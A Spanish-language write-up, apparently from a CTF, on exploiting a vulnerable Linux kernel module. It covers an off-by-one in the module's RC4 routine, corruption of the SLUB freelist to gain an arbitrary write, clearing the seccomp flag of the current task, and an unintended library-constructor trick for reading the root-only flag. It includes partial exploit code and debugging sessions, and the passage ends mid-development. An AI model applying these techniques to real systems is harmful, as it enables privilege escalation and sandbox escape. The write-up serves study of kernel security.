Kerbab
24 minutos de lectura
Se nos proporciona un sistema de archivos Linux y otros archivos comunes en retos de explotación de kernel:
# ls -lh
total 12M
-rw-r--r-- 1 root root 618 Feb 25 23:21 Dockerfile
-rwxr-xr-x 1 root root 59 Feb 25 23:21 deploy_docker.sh
-rw-r--r-- 1 root root 155 Feb 25 23:21 docker-compose.yml
-rw-r--r-- 1 root root 2.4M Feb 25 23:21 initramfs.cpio.gz
-rw-r--r-- 1 root root 6.2K Feb 25 23:21 kebab.c
drwxr-xr-x 7 root root 4.0K Feb 25 23:21 pc-bios
-rwxr-xr-x 1 root root 396 Feb 25 23:21 run.sh
-rw-r--r-- 1 root root 9.6M Feb 25 23:21 vmlinuz-4.19.306
-rw-r--r-- 1 root root 176 Feb 25 23:21 xinetd
# cat run.sh
#! /bin/bash
qemu-system-x86_64 \
-nographic \
-cpu kvm64,+smep,+smap,check \
-kernel /home/user/vmlinuz-4.19.306 \
-initrd /home/user/initramfs.cpio.gz \
-m 1024M \
-L /home/user/pc-bios/ \
-no-reboot \
-monitor none \
-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \
-append "console=ttyS0 oops=panic panic=1 quiet kaslr slub_debug=- apparmor=0" \
Análisis del código fuente
En este caso, disponemos del código fuente en C del módulo de kernel vulnerable (llamado safe_guard
como device). En primer lugar, define algunas constantes, variables globales y estructuras de datos:
#define DEVICE_NAME "safe_guard"
#define KEBAB_MAX_BUFFER_SIZE 2048
#define KEBAB_IOCTL_NEW 0xFABADA
#define KEBAB_IOCTL_READ 0xBEBE
#define KEBAB_IOCTL_SET_KEY 0x1CAFE
#define KEBAB_MAX_BUFFERS 4
#define MAX_RC4_LEN 256
struct secure_buffer {
char* buffer;
size_t size;
};
struct new_secbuff_arg {
size_t size;
char key[MAX_RC4_LEN];
const char* buffer;
};
struct read_secbuff_arg {
unsigned long index;
char key[MAX_RC4_LEN];
char* buffer;
};
struct key_info{
int pid;
struct task_struct* cur;
size_t max_len;
};
static struct secure_buffer* sec_buffs[KEBAB_MAX_BUFFERS] = {0};
static unsigned char n_buffs = 0;
static struct mutex kebab_mutex;
static char RC4_key[MAX_RC4_LEN + 1] = {0};
struct rc4_state {
unsigned char perm[256];
unsigned char index1;
unsigned char index2;
};
La interacción con el módulo se realiza mediante ioctl
:
static long kebab_ioctl(struct file* file, unsigned int cmd, unsigned long arg) {
void __user* argp = (void __user*) arg;
int err = 0;
if (!mutex_trylock(&kebab_mutex)) return -EAGAIN;
switch (cmd) {
case KEBAB_IOCTL_NEW:
if (strlen(RC4_key) == 0) {
err = -EINVAL;
break;
}
err = ioctl_new(argp);
break;
case KEBAB_IOCTL_READ:
if (strlen(RC4_key) == 0) {
err = -EINVAL;
break;
}
err = ioctl_read(argp);
break;
case KEBAB_IOCTL_SET_KEY:
if (strlen(RC4_key) > 0) {
err = -EINVAL;
break;
}
err = ioctl_set_key(argp);
break;
default:
err = -EINVAL;
}
mutex_unlock(&kebab_mutex);
return err;
}
Aquí tendremos que especificar alguna de las tres opciones posibles. Nótese que se utiliza mutex
para bloquear la ejecución de cualquiera de las opciones y se desbloquea al final. Así, el kernel se protege de las condiciones de carrera.
Función inicial
La primera opción que tenemos que usar es KEBAB_IOCTL_SET_KEY
(si no, no podremos usar el resto de opciones):
static int ioctl_set_key(void __user* argp) {
if (copy_from_user(&RC4_key, argp, MAX_RC4_LEN)) return -EFAULT;
struct key_info info = { current->pid, current, MAX_RC4_LEN };
if (copy_to_user(argp, &info, sizeof(info))) return -EFAULT;
printk(KERN_INFO "kebab: key setted\n");
return 0;
}
Esta función copia la clave de RC4 que le pasamos al kernel en una variable global. Además, la función nos devuelve una estructura con el identificador del proceso (PID) y un puntero a la variable current
.
Función de asignación
Otra opción que ofrece el módulo es escribir en un buffer y que cifrar la información con RC4 y la clave anterior:
static int ioctl_new(void __user* argp) {
struct new_secbuff_arg arg_struct;
if (copy_from_user(&arg_struct, argp, sizeof(arg_struct))) return -EFAULT;
if (!is_the_same_key(arg_struct.key)) return -EINVAL;
if (arg_struct.size > KEBAB_MAX_BUFFER_SIZE) return -EFAULT;
if (n_buffs >= KEBAB_MAX_BUFFERS) return -ENOMEM;
if (alloc_secure_buff(&arg_struct) == -EINVAL) return -EINVAL;
return init_secure_buff(&arg_struct);
}
Para esta función, tenemos que usar una estructura new_secbuff_arg
, que contiene el tamaño del chunk que queremos crear (size
), los datos (buffer
) y la clave de cifrado RC4 (key
). Además, se verifica que esta clave sea la misma que la que pusimos en la función ioctl_set_key
. La verificación utiliza strncmp
:
static int is_the_same_key(char* key) {
return !strncmp(key, RC4_key, MAX_RC4_LEN);
}
Luego, se comprueba que el tamaño del chunk no exceda de 2048 (KEBAB_MAX_BUFFER_SIZE
) y que haya menos de 4 buffers asignados (KEBAB_MAX_BUFFERS
).
Si todo esto se cumple, se ejecuta alloc_secure_buff
:
static int alloc_secure_buff(struct new_secbuff_arg* arg_struct) {
sec_buffs[n_buffs] = kmalloc(sizeof(struct secure_buffer), GFP_KERNEL);
if (!sec_buffs[n_buffs]) return -EINVAL;
sec_buffs[n_buffs]->buffer = kzalloc(arg_struct->size, GFP_KERNEL);
if (!sec_buffs[n_buffs]->buffer) {
kfree(sec_buffs[n_buffs]);
sec_buffs[n_buffs] = 0;
return -EINVAL;
}
sec_buffs[n_buffs]->size = arg_struct->size;
printk(KERN_INFO "kebab: created %d\n", n_buffs);
n_buffs++;
return 0;
}
En esta función se crea un chunk para alojar una estructura secure_buffer
, y se guarda en el array global sec_buffs
. En el campo buffer
de la estructura secure_buffer
se asigna un chunk con kmalloc
y el tamaño indicado en la estructura new_secbuff_arg
anterior. Este tamaño también se copia en la estructura secure_buffer
.
Acto seguido, se llama a init_secure_buffer
:
static int init_secure_buff(struct new_secbuff_arg* arg_struct) {
char *u_buffer;
u_buffer = kzalloc(KEBAB_MAX_BUFFER_SIZE, GFP_KERNEL);
if (!u_buffer) return -EINVAL;
if (copy_from_user(u_buffer, arg_struct->buffer, arg_struct->size)) return -EFAULT;
RC4(u_buffer, sec_buffs[n_buffs - 1]->buffer, arg_struct->size);
kfree(u_buffer);
return 0;
}
En esta función se copian los datos del usuario en un chunk lo suficientemente grande (2 kiB), se cifra con RC4 y se libera el chunk.
Cifrado RC4
Las funciones que realizan el cifrado RC4 son las siguientes:
static __inline void swap_bytes(unsigned char* a, unsigned char* b) {
unsigned char temp;
temp = *a;
*a = *b;
*b = temp;
}
void rc4_init(const struct rc4_state* state, unsigned char* key, int keylen) {
unsigned char j;
int i;
for (i = 0; i < 256; i++) {
state->perm[i] = (unsigned char) i;
}
state->index1 = 0;
state->index2 = 0;
for (i = j = 0; i < 256; i++) {
j += state->perm[i] + key[i % keylen];
swap_bytes(&state->perm[i], &state->perm[j]);
}
}
void rc4_crypt(const struct rc4_state* const state, const unsigned char* inbuf, unsigned char* outbuf, int buflen) {
int i;
unsigned char j;
for (i = 0; i <= buflen; i++) {
state->index1++;
state->index2 += state->perm[state->index1];
swap_bytes(&state->perm[state->index1], &state->perm[state->index2]);
j = state->perm[state->index1] + state->perm[state->index2];
outbuf[i] = inbuf[i] ^ state->perm[j];
}
}
int RC4(char* user_buff, unsigned char* sec_buff, size_t size) {
struct rc4_state rc4st;
rc4_init(&rc4st, RC4_key, strlen(RC4_key));
rc4_crypt(&rc4st, user_buff, sec_buff, size);
return 0;
}
RC4 es un cifrador en flujo, por lo que la clave de cifrado lo que genera es un keystream (que se podría considerar como aleatorio). Y para cifrar, se realiza la operación XOR entre los bytes de texto claro y los bytes del keystream.
La vulnerabilidad del módulo se encuentra en la función rc4_crypt
. El fallo está en la condición del bucle for
, que admite un índice más de lo debido: for (i = 0; i <= buflen; i++) {
. Con esto podemos conseguir un desbordamiento de un byte en el heap (conocido como off-by-one). Por ejemplo, si definimos un chunk de 256 bytes, realmente podremos escribir un byte más allá de este chunk.
Función de lectura
Solo por terminar el análisis, esta es la otra opción que nos da el módulo:
static int ioctl_read(void __user* argp) {
struct read_secbuff_arg arg_struct;
if (copy_from_user(&arg_struct, argp, sizeof arg_struct)) return -EFAULT;
if (!is_the_same_key(arg_struct.key)) return -EINVAL;
if (arg_struct.index >= n_buffs) return -EINVAL;
if (copy_to_user(arg_struct.buffer, sec_buffs[arg_struct.index]->buffer, sec_buffs[arg_struct.index]->size)) return -EFAULT;
printk(KERN_INFO "kebab: read %zu bytes from %lu\n", sec_buffs[arg_struct.index]->size, arg_struct.index);
return 0;
}
Esta función no es de gran utilidad porque lo que nos permite es leer el contenido de los chunks ya asignados (obtendríamos el contenido cifrado). Entonces, es algo que podemos conocer sin necesidad de usar el módulo, ya que tenemos la clave de cifrado RC4 y la información de los chunks asignados en texto claro.
Configuración del entorno
Antes de comenzar a escribir el exploit es necesario configurar el entorno. Para ello, me baso en la guía de lkmidas.github.io. En primer lugar, extraemos el kernel y obtenemos los gadgets de ROP por si fuera necesario para más adelante:
# wget -q https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/extract-image.sh
# sh extract-image.sh vmlinuz-4.19.306 > vmlinux
# ROPgadget --binary vmlinux > rop.txt
Lo siguiente que podemos hacer es extraer y modificar el sistema de archivos para acceder como root
cuando lancemos el kernel con qemu
y así poder depurar mejor:
# mkdir initramfs
# cd initramfs
# cp ../initramfs.cpio.gz .
# gunzip ./initramfs.cpio.gz
# cpio -idm < ./initramfs.cpio
10678 blocks
# rm initramfs.cpio
# tail init
cat /etc/banner.txt
insmod /chall/kebab_mod.ko
chmod 4755 /chall/run
cd /home/user
setsid cttyhack setuidgid 1000 sh
poweroff -f
# vim init
# tail init
cat /etc/banner.txt
insmod /chall/kebab_mod.ko
chmod 4755 /chall/run
cd /home/user
setsid cttyhack setuidgid 0 sh
poweroff -f
Luego, cuando queramos probar el exploit, podemos usar un script como este (go.sh
), que compila el programa en C, lo pone en el directorio initramfs
, lo comprime y lo deja preparado para que qemu
lo pueda usar mediante run.sh
:
#!/usr/bin/env bash
musl-gcc -o exploit -static $1 || exit
mv exploit initramfs
cd initramfs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > initramfs.cpio.gz
mv initramfs.cpio.gz ..
cd ..
sh run.sh
Por otro lado, el exploit lo compilamos estáticamente con musl-gcc
porque genera compilados más pequeños y sin depender de librerías externas. Para esto es necesario instalarlo con apt install musl-tools
.
Finalmente, le tenemos que añadir la opción -s
al comando de qemu
para poder depurar el kernel en remoto desde GDB en el puerto 1234 (por defecto). También es necesario comprobar las rutas a los archivos y directorios relevantes (pc-bios
, vmlinuz
, initramfs.cpio.gz
).
Un archivo importante que debemos tener localizado para depurar con GDB es el módulo compilado:
# find initramfs/ -name kebab\* 2>/dev/null
initramfs/chall/kebab_mod.ko
En este punto, probamos un simple Hello world para ver si todo funciona correctamente:
# catn exploit.c; sh go.sh
#include <stdio.h>
int main() {
printf("Hello, world!\n");
return 0;
}
...
Booting from ROM..
____ __ ____ _
/ ___| __ _ / _| ___ / ___|_ _ __ _ _ __ __| |
\___ \ / _` | |_ / _ \ | _| | | |/ _` | '__/ _` |
___) | (_| | _| __/ |_| | |_| | (_| | | | (_| |
|____/ \__,_|_| \___|\____|\__,_|\__,_|_| \__,_|
----------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
----------------------------------------------------
/home/user # /exploit
Hello, world!
Peculiaridades
La configuración anterior sirve para retos de explotación de kernel comunes. Sin embargo, para este reto tenemos algunos cambios.
Por ejemplo, vemos que si entramos como usuario no privilegiado (dejando initramfs/init
como estaba al principio), vemos que el device vulnerable no es accesible:
/home/user $ ls -l /dev/safe_guard
crw------- 1 root root 10, 57 Feb 26 23:26 /dev/safe_guard
Entonces, ¿cómo podemos explotar el device si no podemos abrirlo? Pues vamos a ver el archivo initramfs/init
completo:
#!/bin/sh
chown -hR root: /
chown -R user: /home/user
chmod 0755 -R /
chmod 0700 -R /root/
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
/sbin/mdev -s
ifup eth0 >& /dev/null
cd /root
cat /etc/banner.txt
insmod /chall/kebab_mod.ko
chmod 4755 /chall/run
cd /home/user
setsid cttyhack setuidgid 1000 sh
poweroff -f
Ahí está la trampa. Tenemos un binario SUID en /chall/run
, así que vamos a analizarlo en Ghidra:
int main() {
int iVar1;
int iVar2;
long lVar3;
code *pcVar4;
iVar1 = open("/dev/safe_guard", 0);
if (iVar1 == -1) {
__assert_fail("fd != -1", "run.c", 9, (char *) &__PRETTY_FUNCTION__.0);
}
lVar3 = dlopen("/home/user/libxpl.so", 2);
if (lVar3 == 0) {
__assert_fail("handle != 0", "run.c", 0xc, (char *) &__PRETTY_FUNCTION__.0);
}
pcVar4 = (code *) dlsym(lVar3, "exploit");
if (pcVar4 == NULL) {
__assert_fail("exploit != 0", "run.c", 0xe, (char *) &__PRETTY_FUNCTION__.0);
}
lVar3 = seccomp_init(0);
if (lVar3 == 0) {
__assert_fail("ctx != 0", "run.c", 0x11, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_rule_add(lVar3, 0x7fff0000, 0x10, 0);
if (iVar2 != 0) {
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(ioctl), 0) == 0", "run.c", 0x13, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_rule_add(lVar3, 0x7fff0000, 1, 0);
if (iVar2 != 0) {
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0", "run.c", 0x14, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_rule_add(lVar3, 0x7fff0000, 0x106, 0);
if (iVar2 != 0) {
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(newfstatat), 0) == 0", "run.c", 0x15, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_load(lVar3);
if (iVar2 != 0) {
__assert_fail("seccomp_load(ctx) == 0", "run.c", 0x16, (char *) &__PRETTY_FUNCTION__.0);
}
(*pcVar4)(iVar1);
return 0;
}
Ahora tiene mucho más sentido. La manera de ejecutar el exploit es llamando al binario SUID /chall/run
, que abrirá el device vulnerable (como se ejecuta en el contexto de root
, no hay problema). Luego, el binario carga una librería desde /home/user/libxpl.so
y ejecuta una función exploit
de la misma librería.
Entonces, tenemos que cambiar ligeramente el archivo go.sh
para compilar el exploit como librería:
#!/usr/bin/env bash
gcc -s -fPIC -o libxpl.so -shared $1 || exit
mv libxpl.so initramfs/home/user
cd initramfs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > initramfs.cpio.gz
mv initramfs.cpio.gz ..
cd ..
sh run.sh
Además, el programa /chall/run
establece unas reglas seccomp
después de cargar la librería. Solamente nos permite usar dos instrucciones syscall
: sys_write
y sys_newfstatat
.
Nótese que al ejecutar el binario SUID /chall/run
ya somos root
. El problema es que estamos bajo las reglas de seccomp
. Por este motivo, no podríamos simplemente leer la flag de /root/flag
, ya que para eso necesitaríamos usar instrucciones como sys_open
y sys_write
, y no están permitidas. Entonces, el objetivo del reto es encontrar una manera de saltarnos las reglas seccomp
mediante alguna vulnerabilidad del módulo de kernel que nos dan.
Solución no intencionada
Antes de comenzar con el exploit de kernel, descubrí una solución no intencionada. El punto clave está en la instrucción dlopen
del binario SUID /chall/run
. Existen maneras de ejecutar una función justo al cargarse una librería. Si conseguimos esto, estaremos ejecutando código como root
antes de tener las reglas seccomp
habilitadas.
Un código en C como el siguiente funciona para leer la flag:
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((constructor)) init() {
char flag[256];
FILE *fp;
fp = fopen("/root/flag", "r");
fgets(flag, 256, fp);
puts(flag);
fclose(fp);
exit(0);
}
Ahora, lanzamos qemu
y ejecutamos /chall/run
(incluso con el script original de initramfs/init
):
# sh go.sh unintended.c
.
./home
./home/user
./home/user/libxpl.so
...
Booting from ROM..
____ __ ____ _
/ ___| __ _ / _| ___ / ___|_ _ __ _ _ __ __| |
\___ \ / _` | |_ / _ \ | _| | | |/ _` | '__/ _` |
___) | (_| | _| __/ |_| | |_| | (_| | | | (_| |
|____/ \__,_|_| \___|\____|\__,_|\__,_|_| \__,_|
----------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
----------------------------------------------------
/home/user $ /chall/run
flag{fake_flag}
Estrategia de explotación
Después de analizar el código, lo que tenemos es lo siguiente:
- Posibilidad de asignar hasta 4 chunks de tamaños menores o iguales que 2048 bytes
- El contenido de los chunks está cifrado con RC4. Pero como es un cifrado en flujo y nosotros ponemos la clave, no tenemos limitación en qué escribir
- Tenemos un off-by-one en la función de cifrado RC4
La idea es la siguiente: el kernel utiliza por defecto un asignador de memoria conocido como SLUB. En este contexto existen listas (slabs) que contienen objetos (chunks) del mismo tamaño que se asignan de manera adyacente.
En estas slabs, cuando un objeto está liberado, contiene un puntero al comienzo que apunta al siguiente objeto libre. Entonces, a la hora de asignar un nuevo objeto en una slab determinada, primero se mira la lista enlazada (freelist
) para ocupar objetos que ya fueron asignados pero están libres. Y entonces, se actualiza la lista estableciendo una nueva cabeza de lista enlazada.
Como resultado, para explotar el off-by-one, podemos modificar el puntero al siguiente objeto libre en el objeto adyacente al que estamos creando. Así, estaremos corrompiendo la lista enlazada y, al asignar nuevos objetos, podremos conseguir un objeto que se solape con otro que controlamos.
Como no tenemos opción para liberar objetos, pondremos un objeto que parezca que está liberado, y haremos que la freelist
apunte a este objeto, de manera que controlamos la dirección donde se escribirá el siguiente objeto. Y así, logramos una primitiva de escritura arbitraria.
Una vez podamos escribir en memoria, la idea es desactivar las reglas seccomp
. Para esto, tenemos que modificar el atributo current->thread_info.flags
, como se muestra en keksite.in. Es el bit 8 el que indica al proceso que existen reglas seccomp
habilitadas, por lo que simplemente tenemos que poner 0
en este bit y listo, ya podemos leer la flag e incluso conseguir una shell como root
de la manera intencionada.
La definición de la estructura task_struct
la podemos ver en elixir.bootlin.com, y vemos que el primer atributo es thread_info
, cuyo primer atributo es flags
(elixir.bootlin.com). Entonces, como el módulo nos da un puntero a current
, que se corresponde con la estructura task_struct
del proceso actual, simplemente tenemos que modificar el bit 8 relativo a la dirección de current
.
Desarrollo del exploit
Para poder depurar mientras hacemos el exploit, es necesario modificar el archivo initranfs/init
para entrar al sistema como root
. Así, no solamente podremos abrir el device vulnerable, sino que podremos leer las direcciones del kernel en /proc/kallsyms
. El exploit que haremos de prueba no utilizará /chall/run
, y así podemos usar funciones como getchar
para depurar con GDB sin que seccomp
nos bloquee.
Podemos definir las siguientes funciones auxiliares para interactuar con el módulo:
int fd;
void open_device() {
if ((fd = open("/dev/safe_guard", O_RDONLY)) < 0) {
puts("[!] Failed to open device");
exit(1);
} else {
puts("[*] Opened device");
}
}
int ioctl_new(struct new_secbuff_arg* arg) {
return ioctl(fd, KEBAB_IOCTL_NEW, arg);
}
int ioctl_set_key(char* key, struct key_info* ki) {
memcpy((void*) ki, key, MAX_RC4_LEN);
return ioctl(fd, KEBAB_IOCTL_SET_KEY, (void*) ki);
}
Primeras pruebas
Ahora, en el main
podemos añadir lo siguiente:
int main() {
int ret;
open_device();
memset(RC4_key, 0x41, MAX_RC4_LEN);
RC4_key[255] = 0;
struct key_info ki;
if ((ret = ioctl_set_key(RC4_key, &ki))) {
puts("[!] Error ioctl_set_key");
close(fd);
return ret;
} else {
printf("pid: %d\ncur: %p\nmax_len: %ld\n", ki.pid, ki.cur, ki.max_len);
}
getchar();
char buff[0x20];
char secbuff[0x20];
for (int i = 0; i < 0x20; i++) {
buff[i] = 0x30 + (i / 16);
}
buff[0x20 - 1] = 0;
RC4(buff, secbuff, sizeof(buff));
printf("buff: %s\n", buff);
printf("secbuff: ");
for (int i = 0; i < sizeof(buff); i++) {
printf("%02x", (unsigned char) secbuff[i]);
}
puts("");
struct new_secbuff_arg new_arg = {
.size = sizeof(buff) - 1,
.buffer = buff,
};
strncpy(new_arg.key, RC4_key, MAX_RC4_LEN);
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
getchar();
close(fd);
return 0;
}
Con la primera parte del main
, abrimos el device y configuramos la clave de RC4 con 255 caracteres A
. Antes de ejecutar el exploit, vamos a sacar las direcciones de los símbolos que introduce el módulo:
/home/user # grep kebab /proc/kallsyms
ffffffffc0375024 r _note_6 [kebab]
ffffffffc0374000 t kebab_open [kebab]
ffffffffc0374010 t ioctl_read [kebab]
ffffffffc0376a00 b RC4_key [kebab]
ffffffffc0376b40 b n_buffs [kebab]
ffffffffc0376b60 b sec_buffs [kebab]
ffffffffc0374240 t kebab_release [kebab]
ffffffffc0374bba t rc4_init.cold [kebab]
ffffffffc0374be0 t RC4.cold [kebab]
ffffffffc03751a8 r __func__.0 [kebab]
ffffffffc03751a0 r __func__.1 [kebab]
ffffffffc0374490 t ioctl_new [kebab]
ffffffffc0374a90 t kebab_ioctl [kebab]
ffffffffc0376b20 b kebab_mutex [kebab]
ffffffffc0374bf8 t kebab_ioctl.cold [kebab]
ffffffffc0376a00 b __key.2 [kebab]
ffffffffc0376600 d kebab_device [kebab]
ffffffffc0374c0c t kebab_exit [kebab]
ffffffffc03751c0 r kebab_fops [kebab]
ffffffffc0376680 d __this_module [kebab]
ffffffffc0374250 t rc4_init [kebab]
ffffffffc0374c0c t cleanup_module [kebab]
ffffffffc03743f0 t RC4 [kebab]
ffffffffc0374370 t rc4_crypt [kebab]
Y ahora ejecutamos el exploit, que se queda parado en getchar
:
/home/user # ./exploit
[*] Opened device
pid: 125
cur: 0xffff8e1ffdf8c140
max_len: 256
En este punto, nos podemos conectar a qemu
con GDB e inspeccionar algunas direcciones:
# gdb -q initramfs/chall/kebab_mod.ko
Reading symbols from initramfs/chall/kebab_mod.ko...
gef> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
0xffffffffbabd62fe in ?? ()
Por ejemplo, la dirección de RC4_key
:
gef> x/s 0xffffffffc0376a00
0xffffffffc0376a00: 'A' <repeats 255 times>
gef> x/32gx 0xffffffffc0376a00
0xffffffffc0376a00: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a10: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a20: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a30: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a40: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a50: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a60: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a70: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a80: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a90: 0x4141414141414141 0x4141414141414141
0xffffffffc0376aa0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ab0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ac0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ad0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ae0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376af0: 0x4141414141414141 0x0041414141414141
Si continuamos el exploit, se creará una nota cifrada:
buff: 0000000000000000111111111111111
secbuff: f2fbd60df093fd918a9b596cd4c0051b4674a383259834485b5a98cc01d1cec5
size: 31
key: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: 0000000000000000111111111111111
size: 31
key: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: 0000000000000000111111111111111
Este es el array de notas:
gef> x/4gx 0xffffffffc0376b60
0xffffffffc0376b60: 0xffff8e1ffdf71910 0x0000000000000000
0xffffffffc0376b70: 0x0000000000000000 0x0000000000000000
Y la dirección 0xffff8e1ffdf71910
apunta a una estructura secure_buffer
:
gef> x/2gx 0xffff8e1ffdf71910
0xffff8e1ffdf71910: 0xffff8e1ffd62b180 0x000000000000001f
Aquí vemos el tamaño de la nota (0x1f
) y el puntero al buffer cifrado:
gef> x/4gx 0xffff8e1ffd62b180
0xffff8e1ffd62b180: 0x91fd93f00dd6fbf2 0x1b05c0d46c599b8a
0xffff8e1ffd62b190: 0x4834982583a37446 0xc5ced101cc985a5b
En efecto, los datos anteriores están cifrados con RC4 de la manera esperada. Podemos comprobarlo en Python:
$ python3 -q
>>> key = b'A' * 255
>>> pt = b'0' * 16 + b'1' * 15
>>> ct = ARC4(key).encrypt(pt + b'\0')
>>>
>>> ct.hex()
'f2fbd60df093fd918a9b596cd4c0051b4674a383259834485b5a98cc01d1cec5'
>>>
>>> print('\n'.join(f"0x{int.from_bytes(ct[i:i+8], 'little'):016x} 0x{int.from_bytes(ct[i+8:i+16], 'little'):016x}" for i in range(0, len(ct), 16)))
0x91fd93f00dd6fbf2 0x1b05c0d46c599b8a
0x4834982583a37446 0xc5ced101cc985a5b
Además, vemos que aunque indicamos 31 (0x1f
) como el tamaño del buffer, realmente se cifraron 32 caracteres (debido al off-by-one), siendo el último carácter un byte nulo.
En este punto, podemos mirar qué hay justo después del buffer que nos ha dado el gestor de memoria:
gef> x/12gx 0xffff8e1ffd62b180
0xffff8e1ffd62b180: 0x91fd93f00dd6fbf2 0x1b05c0d46c599b8a
0xffff8e1ffd62b190: 0x4834982583a37446 0xc5ced101cc985a5b
0xffff8e1ffd62b1a0: 0xffff8e1ffd62b1c0 0xffff8e1ffd62b1c0
0xffff8e1ffd62b1b0: 0xffffffffbba9b461 0x0000000000000000
0xffff8e1ffd62b1c0: 0xffff8e1ffd62b1e0 0xffff8e1ffd62b1e0
0xffff8e1ffd62b1d0: 0xffffffffbba9b3e6 0x0000000000000000
Como estamos en kmalloc-32
, lo que vemos arriba es nuestro chunk donde está el buffer cifrado y después más chunks, contiguos. En este caso, estos chunks están libres, lo sabemos porque el primer campo tiene un puntero que apunta al siguiente chunk libre (más información en blogs.oracle.com):
También podemos ver esta información usando funciones de gef
:
gef> slub-dump kmalloc-32 -n
[+] Wait for memory scan
--------------------------------------------------------------------------- CPU 0 ---------------------------------------------------------------------------
slab_caches @ 0xffffffffbb775160
kmem_cache: 0xffff8e1ffe401900
name: kmalloc-32
flags: 0x40000000 (__CMPXCHG_DOUBLE)
object size: 0x20 (chunk size: 0x20)
offset (next pointer in chunk): 0x0
kmem_cache_cpu (cpu0): 0xffff8e1ffe82c080
active page: 0xffffee8c80f58ac0
virtual address: 0xffff8e1ffd62b000
num pages: 1
in-use: 13/128
frozen: 1
layout: 0x000 0xffff8e1ffd62b000 (in-use)
0x001 0xffff8e1ffd62b020 (in-use)
0x002 0xffff8e1ffd62b040 (in-use)
0x003 0xffff8e1ffd62b060 (in-use)
0x004 0xffff8e1ffd62b080 (in-use)
0x005 0xffff8e1ffd62b0a0 (in-use)
0x006 0xffff8e1ffd62b0c0 (in-use)
0x007 0xffff8e1ffd62b0e0 (in-use)
0x008 0xffff8e1ffd62b100 (in-use)
0x009 0xffff8e1ffd62b120 (in-use)
0x00a 0xffff8e1ffd62b140 (in-use)
0x00b 0xffff8e1ffd62b160 (in-use)
0x00c 0xffff8e1ffd62b180 (in-use)
0x00d 0xffff8e1ffd62b1a0 (next: 0xffff8e1ffd62b1c0)
0x00e 0xffff8e1ffd62b1c0 (next: 0xffff8e1ffd62b1e0)
0x00f 0xffff8e1ffd62b1e0 (next: 0xffff8e1ffd62b200)
...
0x07e 0xffff8e1ffd62bfc0 (next: 0xffff8e1ffd62bfe0)
0x07f 0xffff8e1ffd62bfe0 (next: 0x0)
freelist (fast path):
0x00d 0xffff8e1ffd62b1a0
0x00e 0xffff8e1ffd62b1c0
0x00f 0xffff8e1ffd62b1e0
0x010 0xffff8e1ffd62b200
...
0x07e 0xffff8e1ffd62bfc0
0x07f 0xffff8e1ffd62bfe0
freelist (slow path): (none)
next: 0xffff8e1ffe401a80
Entonces, con el off-by-one podríamos modificar el último byte del puntero que apunta al siguiente chunk libre. De esta forma, corrompemos la lista enlazada y podemos hacer que el chunk apunte a sí mismo:
Con esto, tenemos una especie de double free, y podemos poner una dirección arbitraria en la free-list. Este sería el proceso:
- Asignamos un primer chunk y usamos el off-by-one para corromper la lista enlazada y que el siguiente chunk libre apunte a sí mismo
- Asignamos un segundo chunk (se pondrá en
0x[...]1a0
) y escribimos una dirección arbitraria en el campo que indica la dirección del siguiente chunk libre - Asignamos un tercer chunk (se pondrá también en
0x[...]1a0
) - El siguiente chunk que asignemos se pondrá en la dirección arbitraria que pusimos antes
Clave de RC4
Como RC4 es un cifrado en flujo, si queremos escribir unos datos en especial, los podemos cifrar antes de pasárselos al módulo, ya que el módulo los cifrará de nuevo. Y así, como los cifrados en flujo utilizan XOR, la operación de cifrado es igual que la operación de descifrado.
Fuente: https://kevinliu.me/posts/rc4/
Para conseguir que en el último byte se escriba 0xa0
, necesitamos encontrar una clave concreta. Podemos usar fuerza bruta en Python hasta encontrar una clave que cumpla esto.
Realmente, durante las pruebas, descubrí que era más probable que el chunk adyacente estuviera en la dirección que termina en 0x80
:
>>> import os
>>>
>>> key = os.urandom(3) + b'A' * 252
>>> pt = b'A' * 32
>>>
>>> while ARC4(key).encrypt(pt + b'\0')[-1] != 0x80 or not all(b < 0x80 for b in key):
... key = os.urandom(3) + b'A' * 252
...
>>> key
